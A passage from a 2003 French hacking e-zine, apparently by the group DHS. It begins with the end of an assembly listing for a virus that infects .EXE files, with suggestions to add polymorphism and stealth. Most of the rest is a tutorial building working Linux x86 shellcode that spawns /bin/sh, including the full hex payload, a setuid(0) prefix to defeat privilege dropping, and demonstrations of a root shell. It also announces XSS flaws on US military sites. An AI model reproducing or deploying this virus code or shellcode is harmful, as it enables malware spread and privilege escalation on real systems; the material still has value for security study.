mov cl,7
shl dx,cl
mov cl,9
shr ax,cl
add ax,dx
inc ax
mov word ptr [bp+header_exe+04],ax
pop ax
mov dx,ax
shr ax,cl
shl ax,cl
mov dx,ax
mov word ptr [bp+header_exe+02],dx
ret

__SHEADER:
mov ax,word ptr [bp+header_exe+0Eh]
mov word ptr [bp+Def_SS],ax
mov ax,word ptr [bp+header_exe+10]
mov word ptr [bp+Def_SP],ax
mov ax,word ptr [bp+header_exe+14]
mov word ptr [bp+Def_IP],ax
mov ax,word ptr [bp+header_exe+16]
mov word ptr [bp+Def_CS],ax
ret


exesig db '*.EXE',0 
Fin:

header_exe db 1a dup (?)
DTA:
End Virus


V. Conclusion :
-----------------------


L'infection d'un .exe se montre ainsi plus difficile que celle d'un .com. Mais, Le format exe étant un poil moins complexe que le format elf, les virus ont encore de beaux jours devant eux sur les plate-formes windows. Le code de ce virus peut être une fois encore largment optimisé pour se voir greffer un moteur de polymorphie par exemple ou encore une routine de restoration de date de modification des fichiers infectés, en conséquence, la furtivité du virus s'en verra grandement améliorée.

Le répertoire du site est par défaut : C:\IntePub\wwwroot


=====================================================================
4 .
HACKING :  LES SHELLCODES / OBTENTION DES DROITS DE ROOT- Nocte
=====================================================================


Un hacker est comparable à une personne placé à l'entrée des portes d'une très grosse entreprises, guettant l'apparition d'une brèche dans son système de sécurité afin de s'y infiltrer. Il réussit à gagner des privilèges, par exemple, via la création d'exploit. Qu'est-ce qu'un exploit ? S0RC3Ry, du défunt groupe phe et auteur de Noroute, définit ce terme dans la première issue de cet e-zine mythique : "L'exploit est un petit programme ou un série de commande trouvées par un ingénieux bonhomme qui permet souvent de chopper l'accès root sur un système". (on distingue les exploits locaux, un user cherchant à devenir root, et les exploits remote, un user obtenant un compte sur une machine via une faille de serveur entre autres).
Un hacker tentera, pour cela, d'agir sur le contenu de la stack afin d'écraser l'adresse de retour d'une fonction (stack overflow) et de faire exécuter à l'application un code arbitraire via un shellcode. Tout devient intéressant si l'application en questions possède le bit setuid ou si c'est un démon. Notre hacker va donc programmer un morceau de code capable de lancer un shell, suivi peut être d'autres actions (modifications des permissions du fichier etc/passwd...). Ce programme, petit et en assembleur, capable de lancer un shell est appelé shellcode et, par extension, capable de lancer toute commande de shell (en effet, par des méthodes sophistiqué d'éthymologie araméno-hébraïquo roumaine, on s'aperçoit que ce mot est formé de "shell" et code, d'où : code de shell ;). Ainsi, si on programme un shellcode qui fera lancer un shell à une application ayant les privilèges de root, le shell - donc le hacker - aura les droits de root, selon le principe de l'endossement (qui dit qu'une application est lancé avec les droits de celui qui l'appelle, voir mon tutorial "privilège sous unix"). Assez parler, passons à la programmation de notre shellcode.

I. PROGRAMMATION DU SHELLCODE
----------------------------------------------

Rappelons-nous que la fonction principale d'un shellcode est d'exécuter un shell. Ce programme est donc un shellcode :

#include <stdio.h>
#include <unistd.h>

int main()
{
char * name[] = {"/bin/sh", NULL};
execve(name[0], name, NULL);
return (0);
}

Première controverse : plusieurs fonctions peuvent appeler un shell. Pourquoi utiliser execve ? Eh bien, cette fonction est un syscall (appel-système), contrairement aux autres exec(). Or, rappelez-vous qu'un shellcode est programmé en assembleur. Par conséquent, il ne faut utiliser que des syscalls, car un appel-système s'effectue directement par une interruption. Cela nous permettra d'avoir un code efficace et court puisqu'on aura qu'à déterminer les registes impliqués et leur contenu.
Pour le moment, tout semble parfait, mais non. Rappelons que notre code est inséré au beau milieu de l'application attaqué. Si execve () plante, le programme continue à la suite, ce qui peut avoir des conséquences très grave. On ne peut donc pas terminer par un return(0), car cette dernière commande ne permettra de quitter le programme que si elle est appelé depuis main(), ce qui est très peu probable ici. Il faut forcer la sortie via _exit() (et pas exit() car cette fonction dérive du syscall _exit()). :

#include <stdio.h>
#include <unistd.h>

int main()
{
char * name [] = {"/bin/sh", NULL};
execve (name [0], name, NULL);
_exit (0);
}

En réalité, exit() est encore une fonction de bibliothèque qui encadre le véritable appel-système nommé _exit(). Une nouvelle modification nous rapproche encore plus du système : 

A présent, il nous faut analyser ce programme dans son équivalent en assembleur. Compilons notre programme :
$ gcc -o shellcode shellcode.c -O2 -g --static (--static intègre les fonctions qui se trouvent d'ordinaire dans les bibliothèques partagées).
$ gdb shellcode
(gdb) disassemble main (on lui demande le listing assembleur de main())

Dump of assembler code for function main:
0x8048168 <main>: push %ebp
0x8048169 <main+1>: mov %esp,%ebp
0x804816b <main+3>: sub $0x8,%esp
0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp)
0x804817c <main+20>: mov $0x8071ea8,%edx
0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp)
0x8048184 <main+28>: push $0x0
0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax
0x8048189 <main+33>: push %eax
0x804818a <main+34>: push %edx
0x804818b <main+35>: call 0x804d9ac => _execve
0x8048190 <main+40>: push $0x0
0x8048192 <main+42>: call 0x804d990 => _exit
0x8048197 <main+47>: nop
End of assembler dump.
(gdb)

On devrait noter tout de suite qu'en 0x804817c, en met dans %edx 0x8071ea8, qui ressemble à une adresse. Si on examine le contenu mémoire à cette adresse on s'aperçoit qu'il s'agit de notre chaîne :
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)

Bon, on regarde le désassemblage de _execve :

(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>: push %ebp
0x804d9ad <__execve+1>: mov %esp,%ebp
0x804d9af <__execve+3>: push %edi
0x804d9b0 <__execve+4>: push %ebx
0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi
0x804d9b4 <__execve+8>: mov $0x0,%eax
0x804d9b9 <__execve+13>: test %eax,%eax
0x804d9bb <__execve+15>: je 0x804d9c2
0x804d9bd <__execve+17>: call 0x0
0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push %ebx
0x804d9c9 <__execve+29>: mov %edi,%ebx
0x804d9cb <__execve+31>: mov $0xb,%eax
0x804d9d0 <__execve+36>: int $0x80
0x804d9d2 <__execve+38>: pop %ebx
0x804d9d3 <__execve+39>: mov %eax,%ebx
0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe 0x804d9eb
0x804d9dd <__execve+49>: call 0x8048c84 => _errno_location
0x804d9e2 <__execve+54>: neg %ebx
0x804d9e4 <__execve+56>: mov %ebx,(%eax)
0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov %ebx,%eax
0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop %ebx
0x804d9f1 <__execve+69>: pop %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>: mov %ebx,%edx
0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx
0x804d996 <_exit+6>: mov $0x1,%eax
0x804d99b <_exit+11>: int $0x80
0x804d99d <_exit+13>: mov %edx,%ebx
0x804d99f <_exit+15>: cmp $0xfffff001,%eax
0x804d9a4 <_exit+20>: jae 0x804dd90 => _syscall_error
End of assembler dump.
(gdb) quit

En 0x804d9d0 pour execve() et en 0x804d99b pour _exit(), on passe la main au kernel pour qu'il gère les syscalls via l'interruption 0x80. Ce qui change dans les cas, c'est la valeur de %eax, qui contient le numéro correspondant au syscall : 0x0B pour execve() et 0x01 dans le cas de _exit()

En examinant plus précisemment le code de désassemblage de execve() et _exit(), on trouve les paramètres nécessaire :
-> execve() réclame les paramètres suivants : 
* %ebx contient l'adresse de la chaîne de caractères "/bin/sh" ici (0x804d9b1 : mov 0x8(%ebp),%edi suivi de 0x804d9c9 : mov %edi,%ebx) ; 
* %ecx contient l'adresse de la table des arguments (0x804d9c2 : mov 0xc(%ebp),%ecx). Le premier argument doit être le nom du programme et nous n'en avons pas besoin d'autre, on le fait donc suivre du pointeur NULL nous conviendra ; 
* %edx contient l'adresse de la table représentant l'environnement du programme à lancer (0x804d9c5 : mov 0x10(%ebp),%edx). Pour rester simple, on prendra un pointeur NULL. 

-> _exit() termine le processus, et renvoie un code d'exécution à son appellant (le shell), contenu dans le registre %ebx. On aura donc besoin de la chaîne "/bin/sh", d'un pointeur sur chaîne et d'un pointeur NULL (pour les arguments et l'environnement). Pour l'état des registres, on aura alors %ebx qui pointera directement vers la chaîne, %ecx vers la table complète, et %edx vers le second élément de la table (NULL).
Eh bien, ce n'est pas si compliqué que cela ;)

***LOCALISATION DU SHELLCODE***

Comme un shellcode est introduit dans un programme vulnérable via une variable, une chaîne ou un argument d'une commande, son adresse en mémoire est inconnue. Or, il nous la faut pour connaître l'adresse de "/bin/sh". On a deux solutions. 
1) Elle est simple mais n'est pratique que pour les chaîne petites. Le principe est de pusher la chaîne sur la stack et récupérer l'adresse de %esp (le stack-pointer). Donc, on push 14 octets sur la stack par mot de 4 octets (c'est obligatoire). Évidemment, on doit modifier notre chaîne pour qu'elle soit un multiple de 4, donc on pushera en fait la chaîne : "/bin//sh" (car sinon elle ne fait que 7 octets). On passe en hexadécimal chaque caractère et on les push à l'envers, sans oublier de commencer par pusher 0 pour que la chaîne se termine bien par un "\0". On pushera donc d'abord "hs//" (c'est du verlan, eh ouais ;) puis "nib/". Évidemment, on commence apr pusher "\0" (caractère de fin de chaîne) :
xorl %eax, %eax (on met à 0)
pushl %eax (on pushe un caractère null sur la stack)
pushl 0x68732F2F (vous aurez compris que x68 = h, x73 = s...)
pushl 0x6E69622F

2) On utilise une astuce, très bien détaillé dans un article de Pr1on pour Phrack. Lors d'un call, le processeur push l'adresse de retour (celle de la prochaine instruction à exécuter). Normalement, l'étape suivante est de sauvegarder l'état de la pile (en particulier le registre %ebp par l'instruction push %ebp). Pour récupérer, dès le call, l'adresse de retour, il suffit de dépiler avec l'instruction pop. Bien entendu, immédiatement après le call, on pushera notre chaîne "/bin/sh". On procédera donc de la sorte :

début_du_shellcode:
jmp appel_sous_routine

sous_routine: (soit execve() qui donne la main au shell, soit _exit())
popl %esi (%esi fournit l'adresse de "/bin/sh"
...
(Shellcode proprement dit)
...
appel_sous_routine:
call sous_routine
/bin/sh

Il n'y a plus qu'à construire la table en la situant juste après la chaîne elle-même : son premier élément (en %esi + 8, longueur de "/bin/sh\0") contient la valeur du registre %esi, et le second (en %esi + 12) une adresse nulle (32 bits). Le code pour récupérer l'adresse du shellcode sera alors : 

popl %esi
movl %esi, 0x8(%esi)
movl $0x00, 0xc(%esi)

On a maintenant tout pour programmer notre shellcode. Mais avant, il faut un peu de réflexion. Les fonctions vulnérables sont du genre strcpy() (traitement de chaîne) ; or, elle bloquent dès qu'elles trouvent un caractère nul. Ainsi, on doit les supprimer dans le code en les remplaçant par des équivalents, du style :

movl $0x00, 0x0c(%esi) ==> xorl %eax, %eax
movl %eax, %0x0c(%esi)

Ici, c'est simple. Mais parfois, c'est en traduisant un hexa qu'on tombe sur un NULL. Par exemple, en 0x804d996 : mov $0x1,%eax, %eax vaut 1 pour différencier le syscall _exit(0) des autres. Converti en hexadécimal, cela donne :
b8 01 00 00 00 mov $0x1,%eax

L'idée est donc, en l'occurrence, d'initialiser %eax (par registre qui vaut 0) puis de l'incrémenter.

On peut aussi, par sécurité, rajouter manuelle l'octet nul de fin de chaîne avec :

movb %eax, 0x07(%esi) (movb ne travaille que sur un octet => on remplace %eax par %al)



II. CONSTRUCTION DU SHELLCODE PROPREMENT DIT
-------------------------------------------------------------------

Maintenant, nous n'avons plu besoin de rien. Réécrivons shellcode.c avec son code assembleur, qu'on traduira ensuite en hexadécimal :

int main()
{
asm("jmp appel_sous_routine

sous_routine:
popl %esi // on récupère l'adresse de la chaîne
movl %esi,0x8(%esi) // on l'écrit en première position dans la table
xorl %eax,%eax // puis on écrit le nul
movl %eax,0xc(%esi)
movb %eax,0x7(%esi) // on place \0 en fin de chaîne
movb $0xb,%al // execve()
movl %esi, %ebx // la chaîne se retrouve dans %ebx
leal 0x8(%esi),%ecx // %ecx contient la table arguments
leal 0xc(%esi),%edx // %edx contient la table environnement
int $0x80 // syscall
xorl %ebx,%ebx // code de retour nul
movl %ebx,%eax // %eax = 1
inc %eax
int $0x80 // on passe la main au kernel qui gère le syscall

appel_sous_routine:
call sous_routine
.string \"/bin/sh\"
");
}

On compile : 
gcc -o shellcode shellcode.c" puis 
objdump --disassemble shellcode permet de s'assurer qu'il n'y a plus d'octets nul :

08048398 <main>:
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
804839b: eb 1f jmp 80483bc

0804839d <sous_routine>:
804839d: 5e popl %esi
804839e: 89 76 08 movl %esi,0x8(%esi)
80483a1: 31 c0 xorl %eax,%eax
80483a3: 89 46 0c movb %eax,0xc(%esi)
80483a6: 88 46 07 movb %al,0x7(%esi)
80483a9: b0 0b movb $0xb,%al
80483ab: 89 f3 movl %esi,%ebx
80483ad: 8d 4e 08 leal 0x8(%esi),%ecx
80483b0: 8d 56 0c leal 0xc(%esi),%edx
80483b3: cd 80 int $0x80
80483b5: 31 db xorl %ebx,%ebx
80483b7: 89 d8 movl %ebx,%eax
80483b9: 40 incl %eax
80483ba: cd 80 int $0x80

080483bc <appel_sous_routine>:
80483bc: e8 dc ff ff ff call 804839d //sous_routine
80483c1: 2f das
80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp
80483c5: 2f das
80483c6: 73 68 jae 8048430
80483c8: 00 c9 addb %cl,%cl
80483ca: c3 ret
80483cb: 90 nop
80483cc: 90 nop
80483cd: 90 nop
80483ce: 90 nop
80483cf: 90 nop

A partir de 80483c1, les données sont les caractères de "/bin/sh" et des octets "aléatoires". Le code est bien exempt de zéro, excepté le caractère nul de fin de chaîne en 80483c8, que le programme réécrira de toute manière. Tout à l'air de fonctionner. Cependant, si on teste le shellcode, on obtient un segfault :

$ ./shellcode
Segmentation fault (core dumped)
$

On notera vite que la zone de mémoire où la fonction main() se situe est en lecture seule. Les modifications que notre shellcode y apporte sont donc interdites... aïe!
Mais nous, on veut tester notre shellcode. Pour contourner cela, il faut placer le shellcode dans une zone de données, dans une table déclarée en variable globale. Pour l'exécuter on va remplacer l'adresse de retour de main() (qui est dans la stack) par l'adresse de la table contenant le shellcode, la table de caractères deux emplacements en dessous de la première position dans la pile, là où se situe le pointeur que nous déclarons en variable locale. 

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
int * ret;

/* le +2 va se comporter comme un décalage de 2 mots */
/* (i.e. 8 octets) vers le haut de la pile : */
/* - le premier pour le mot réservé pour la variable locale */
/* - le second pour le registre %ebp sauvegardé */

* ((int *) & ret + 2) = (int) shellcode; // le + 2 équivaut à un décalage de 8 octets vers return (0); // le haut de la stack (les 4 premiers sont // réservé pour la variable local et les autre //pour %ebp)
}

On teste et, bingo ;) :

$ cc shellcode.c -o shellcode
$ ./shellcode
bash$ exit
$

Vérifions qu'il fait bien son boulot en installant le programme shellcode ayant le setuid root, et contrôler que le shell lancé appartient bien au root :

$ Nocte
Password:
# chown root.root shellcode
# chmod +s shellcode
# exit
$ ./shellcode
bash# whoami
root
bash# exit
$


III. OBTENTION DES DROITS DE ROOT
-----------------------------------------------

Ce shellcode est tout de même assez limité niveau capacité. S'il devient : 

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}

on fixe l'EUID du process à la valeur du RUID. Le shell s'exécute alors sans privilège particulier.
Cependant, seteuid(getuid()) n'est pas très secure : en insérant l'équivalent de setuid(0); au début du shellcode, on récupère les droits de l'euid initial (droits de root) :

char setuid[] =
"\x31\xc0" /* xorl %eax, %eax */
"\x31\xdb" /* xorl %ebx, %ebx */
"\xb0\x17" /* movb $0x17, %al */
"\xcd\x80";


Intégrons cela à notre shellcode pour avoir un shellcode qui casse la protection seteuid(getuid()) :

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}

On vérifie... et ça marche :
$ Nocte
Password:
# chown root.root shellcode
# chmod +s shellcode
# exit
$ ./shellcode
bash# whoami
root
bash# exit
$



III. DEJA PAS MAL
----------------------

Comme le montre ce dernier exemple, on peut rajouter des fonctions à notre shellcode. J'espère écrire un prochain article qui traite d'autres fonctions, comme des shellcodes cassant des chroot(), ou même l'ouverture en remote d'un shell via une socket. 
Pour cette fois-ci, ça n'était pas si mal. Si vous avez bien assimilé mon article sur els privilèges unix et connaissez les bases de l'assembleur, vous avez du comprendre sans gros problème. C'était même d'une clareté hallucinante!

J'espère que cela vous aura appris des choses, comme l'utilité d'un shellcode, ses possibilités, sa programmation.

++
Nocte, le 16 avril 2003
à lire : l'incontournable "Smashing the stack for fun and profit" d'Aleph One.

=====================================================================
5 . FAILLE : PRINCIPE DES STACKS OVERFLOWS
- Nocte
=====================================================================

 

=====================================================================
6 . FAILLE part 2: ADVISORY "CSS VULNARABILITIES ON MILITARY SITES" - Nocte
=====================================================================

Nocte a récemment découvert des failles de CSS. Encore !! Ca soule! Pas besoin d'en faire une salade !! C'est vrai... sauf qu'elles concernent les plus importants sites militaires et gouvernementaux américains. Cet advisory montre que, si même ces sites sont vulnérables à la plus vieille et la plus basique des failles, à combien plus forte raisons de tels sites peuvent être vulnérables à des failles plus complexes! Un explicatif de cette faille sortira probablement dans le prochain e-zine. Voici, ici, l'advisory oreiginal, posté sur http://www.security-corporation.com :

 

 


=====================================================================


Et de deux! Ce numéro a été TRES réduit étant donné les événements, mais, le TDC Mag n°3 sera plus enrichis avec des participations extérieures très intéressantes. Il est déjà actuellement en préparation ;) 

J'espère toutefois que cet e-zine vous a été aussi profitable que le premier! Merci pour vos remerciements, c'est touchant et ça donne envie de continuer. 
Alors, plus que jamais, bidouillez votre ordinateur, le Web, et contribuez à la sécurité de l'informatique.
Pour tout questions-idées-suggestions-coups de gueule... lâchez-vous sur le forum.

Merci de votre soutien. D'ores et déjà, le prochain numéro sera spécial : il contiendra des enquêtes inédits sur la sécurité de l'internet. Il contiendra surtout les résultat sur notre Team, les projets en cours... Mais, après tout, on ne le fait pas pour le sortir "à l'heure", simplement pour partager des connaissances.


Je terminerais par un poème fabuleux d'un hacker anonyme :

010110100111
101010100100
100011010111
110010101000

100010101111
100010101110
001011011011
101100110010

101101010010
010101011010
010111010011

101001010111
010101001111
111010010111

Visitez nos sites : http://dealer-hack.ifrance.com & http://dealerhacksecurity.free.fr

Vous avez des questions a propos du mag ? vous n'avez pas compris quelque chose allez sur le forum : http://dealerhacksecurity.free.fr/forum

By DHS - Dealer Hack Security